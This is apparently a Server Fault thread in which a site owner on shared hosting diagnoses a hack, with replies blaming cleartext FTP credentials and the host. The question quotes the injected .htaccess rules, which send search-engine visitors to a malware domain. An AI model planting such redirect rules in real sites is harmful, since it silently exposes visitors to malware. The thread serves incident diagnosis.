9

My site has been hacked and at this point, I know some details, but I'm at a loss at exactly how it happened or how to prevent it in the future. I need your help in trying to dissect the attack so that I can prevent it from happening again. This is a little long, but I want to make sure I give enough info to help solve the problem.

Here's what happened.

A few weeks ago, I got an email from my hosting company, GoDaddy, saying that my site was using up too many resources and that they expected that a MySQL query was the culprit. The query in question was a search query that had 5-6 terms in it. The way that I had it set up, the more terms you searched for, the more complex the query became. No problem. I fixed it, but at the same time, GoDaddy also temporarily shut down my account and it was around 3 days before everything was back to normal.

Following that incident, my search engine traffic dropped dramatically, around 90%. It sucked, by I didn't think anything of it, writing it off to the query fiasco and figuring that it would return in time as Google recrawled the site. It didn't.

A few days ago, I got an email from a user saying that my site was hosting malware. I loaded the site directly in my browser, but didn't see anything injected into the page. Then I checked my .htaccess file and found the following:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
RewriteRule .* http://sokoloperkovuskeci.com/in.php?g=584 [R,L]
</IfModule>

Cute. And a little devious. Navigating directly to the site from the address bar or a bookmark, what I usually do, would load the site as normal. Rarely do I ever go to my site through a link from a search engine, so that's why the hack went undetected as long as it did. The malware also wasn't hosted directly on my site.

A quick search showed that other people were also having the same trouble, though I suspect that there are a lot more who just haven't detected it yet. Most recommendations were to upgrade to the latest versions of the software, change passwords, etc.

Being as I use my own custom content management system and not the ubiquitous Wordpress, I dug a little deeper. I scanned all of my files for the common functions used in PHP exploits: base64_decode, exec, shell, etc... Nothing suspicious turned up and no extra files were present.

I next checked the GoDaddy's file manager history and found that out that the .htaccess file was changed on the exact same date as when my search query was accused of using up too many server resources. It could be an unfortunate coincidence, but I'm not completely sure. The redirect in the .htaccess file doesn't seem resource intensive and the query was complex enough that it could have been resource-intensive.

I wanted to be sure that my code wasn't the problem, so I checked the traffic logs for suspicious activity around the time that the .htaccess file was modified, but didn't see any GET or POST activity that looked abnormal or like a hack attempt.

Finally, I requested the FTP logs from GoDaddy and found that there was unauthorized FTP access at the time the .htaccess file was changed. I was on vacation at the time, with my computer physically shut down, and there is no one else with access credentials. It looks like whoever FTP'd in used the primary FTP user for the account, but with an IP of 91.220.0.19, which looks like it's from Latvia.

On shared hosting, it appears GoDaddy automatically assigns a primary FTP username based on the site URL. It's extremely predictable, or at least, it was when I set up my hosting account. I first signed up for the hosting account several years ago, so it may have changed, but from what I remember, I wasn't able to choose the primary FTP username. Currently, you are also unable to change the username and it sounds like GoDaddy is unable to either, unless you cancel your account and resign. While you can create, delete, and edit other FTP users, the primary FTP user can't be deleted. Only the password can be changed.

With the exception of the primary FTP username, all of the access credentials for the site, the database, the admin, and the account are gibberish, random usernames and passwords that look like your cat walked on your keyboard. Ex: lkSADf32!$asJd3.

I have thoroughly scanned my computer for viruses, malware, etc. in case it is the weak point in the link, but nothing has turned up at all. I use a firewall, an anti-virus program, and try to use safe browsing habits.

When I update my site, I use Core FTP LE and an SSH/SFTP connection. The hosting account is a Linux setup.

In talking with GoDaddy tech support, they're not sure how the FTP password was compromised. On shared hosting, they are unable to place an IP block at the FTP user level. They are also unable to change the primary FTP username. When I asked if they have brute force protection around FTP access, the tech sounded unsure at first, but then said they did after I rephrased it a few times. However, I think I remember asking that same question in a previous call and hearing that GoDaddy doesn't have brute force protection on FTP access. At this point, I don't know if they do or not.

I've changed all of my access credentials across the board and also banned the Latvian IP address using the .htaccess file (probably won't make a difference if they're using FTP), but I'm still not sure how the FTP password was compromised to begin with.

I'm fairly certain that the problem wasn't with my code (even if it was, the FTP info shouldn't have been exposed) or with my computer. What I suspect, but don't know how to prove, is that the FTP password was brute-forced as the username was predictable. The brute-force attack could also have coincided with the server resources being used up (blamed on my query), but I don't know enough of the technical side of servers to know if that's possible or even likely.

Now I feel like I'm at the end of what I know what to do. I'd like to be able to understand how the attack was carried out and how to prevent it, so if you have any further ideas on attack vectors, diagnostics that could be run, or additional security measures, I would be very grateful. I'm more than willing to change hosts or ditch shared hosting, but I want to make sure I can prevent this from happening again.

Help me, Obi-Wan Kenobi...

Dear Abby
  • 91
  • 2

2 Answers2

8

Something twinged as familiar while reading through your post. Then it hit me: I had seen this before, over a month ago, when trying to access a site for a game. See here - same behavior, the redirect action taken just on search engine referrers.

The domain name in your .htaccess looked familiar because my home computer's antivirus had made loud noises about it to me weeks ago.

And, wouldn't you know it, the host of the site that I'd observed this on? GoDaddy.

I don't think you got brute-forced or had your password compromised through any fault of your own; I think GoDaddy was the one compromised here. And I wouldn't put it past them to store the FTP passwords in plain text. Some more digging found this article suggesting the same; brute force protection may be the least of their issues.

Shane Madden
  • 112,982
  • 12
  • 174
  • 248
  • I'm assuming the OP changed the FTP credential. *Hopefully* they're not using cleartext password storage. That would be-- ahem-- rather disappointing. – Evan Anderson Sep 14 '11 at 21:56
  • @Evan Check out the article linked in the last paragraph, though; seems to support the "blame GoDaddy" theory. What that means re: their password encryption is just an interesting exercise in imagination. ;) – Shane Madden Sep 14 '11 at 22:02
  • After looking at it all again, I _connect_ through SSH. However, the credentials that I have to use are those for the primary FTP user. There is no way to setup a user solely for SSH without it also working for FTP that I can see for the shared hosting. – Dear Abby Sep 14 '11 at 22:18
  • @Dear When you login through SSH, the credentials are encrypted in transit. They'd only be vulnerable to being sniffed on the wire when connecting via a non-secure protocol like FTP or HTTP. – Shane Madden Sep 14 '11 at 22:22
  • @Shane - Gotcha. To clarify - Using SSH in a GoDaddy shared hosting environment means that you can use either FTP or SSH with the _same_ login credentials. The only thing that you need to change is the connection type and the port number. And you can't disable the main FTP account. – Dear Abby Sep 14 '11 at 22:23
  • @Dear Yeah, which means the attacker had your SSH password, too (by the way, the redirect site is on the same subnet as the FTP login came from; that IP block is assigned to "SIA Business Aviation Services" in Riga, Latvia). Short of asking GoDaddy some very pointed questions about why their clients are getting hit with this (I'm real curious about whether they hash their passwords, now), your best bet is probably to just change hosts. Or at least start changing that password very frequently. – Shane Madden Sep 14 '11 at 22:29
  • What pointed questions would you ask? I'm writing the email right now... – Dear Abby Sep 14 '11 at 22:37
  • @Dear I wish you luck. I'd point them to the article I linked indicating that they are the common thread in sites with this specific breach, and ask them if they are conducting an investigation. As discussed, this could definitely be an issue with credentials being sniffed from the wire, so you should challenge forcing FTP to be enabled with the same password as SSH. As far as password security, I'd ask about their policies (who has access, whether there's auditing of access, requirements for a reset, etc), and how the passwords are stored; what hashing algorithm, whether they're salted. – Shane Madden Sep 14 '11 at 22:44
  • Here's what I asked: Can the primary FTP user be deleted in place of a solely SSH account? Why do both FTP and SSH share the same login credentials? What security measures does GoDaddy use to protect FTP and/or SSH login credentials? Are FTP and/or SSH login credentials stored in plain text or hashed, salted (or otherwise encrypted in some way)? Are FTP and/or SSH login credentials publicly accessible in any way? – Dear Abby Sep 14 '11 at 22:55
  • [continued] How does GoDaddy prevent "sniffing" or logging of data transactions in a shared hosting environment? Is there a sandbox of any sort? What policies does GoDaddy have in place for access to server files and how is that access audited and secured? – Dear Abby Sep 14 '11 at 22:56
  • @Dear Looks good. We'll see what they say.. – Shane Madden Sep 15 '11 at 00:40
  • 2
    Upvoted if for no other reason that that you had the patience to read the whole post. – Wesley Sep 15 '11 at 03:17
6

Easy! Don't use FTP. It transmits the credentials in plain-text and transmits all data in plain-text. It's one of the most insecure ways to transfer files. If your host doesn't support any other ways, find a new host.

MDMarra
  • 100,183
  • 32
  • 195
  • 326
  • +1 - You can't get a direct point-to-point connection to your hosted server. By definition your cleartext FTP logon will *have* to transit untrusted networks. You got owned because your credentials got logged somewhere along the way at one time or another. (In fact, ddds are good that the attacker who modified your site wasn't the one who captured the credentials. You probably got logged by an undetected sniffer running inside an ISP's network and added to a database of credentials that are bought and sold...) On today's Internet you *CAN'T* simply live w/ clear-text authentication. Period. – Evan Anderson Sep 14 '11 at 21:39
  • I don't, actually, I've used SSH have for over a year without using FTP once in that time. However, even though GoDaddy provides other ways of transferring files, it doesn't allow you to delete the primary FTP user. Like I said, I'm fine with switching hosts, I just want to figure out what happened. How would someone listen for FTP credentials? – Dear Abby Sep 14 '11 at 21:45
  • @Dear - The FTP user and password would be in plain-text in the packets. Any program capable of capturing packets would reveal it. Evan's comment explains it well. – MDMarra Sep 14 '11 at 21:47
  • @Evan - So the solution would be: don't ever use FTP and ditch shared hosting? Or can you use SSH exclusively and still be safe with shared hosting? – Dear Abby Sep 14 '11 at 21:47
  • 3
    @Dear - If a host can't disable FTP for my site, I wouldn't want to use them. – MDMarra Sep 14 '11 at 21:48
  • Is there a way to detect a sniffer as a shared hosting user, or is that something only the host can do? – Dear Abby Sep 14 '11 at 21:50
  • @Dear Abby: If you logon with a cleartext password even once you should consider the password compromised and change it, over an encrypted channel, immediately. It's trivially easy for an attacker to own a machine at a choke point, capture and grovel through large packet logs in an automated fashion, fish out cleartext credentials, and auto-own machines in a matter of minutes or seconds. You're deluding yourself if you don't believe that there are attacker sitting out there at choke points snarfing credentials off the wire all the time. – Evan Anderson Sep 14 '11 at 21:52
  • I'm not taking about a sniffer on your shared host. I'm talking about a sniffer *anywhere* between you and the shared host. Any physically insecure data center between you and your server could harbor an unauthorized hardware sniffer. Any owned host at a choke point between you and your server could be sniffing traffic. You have to just assume the network is untrusted because **it** **is**. – Evan Anderson Sep 14 '11 at 21:54
  • Noted and understood. Thanks for the help. Could you point me to any resources that have further information about the way information is transferred on the web and how to better secure it? I can Google, of course, but if you know of anything specific off-hand, I'd like to learn more. – Dear Abby Sep 14 '11 at 22:05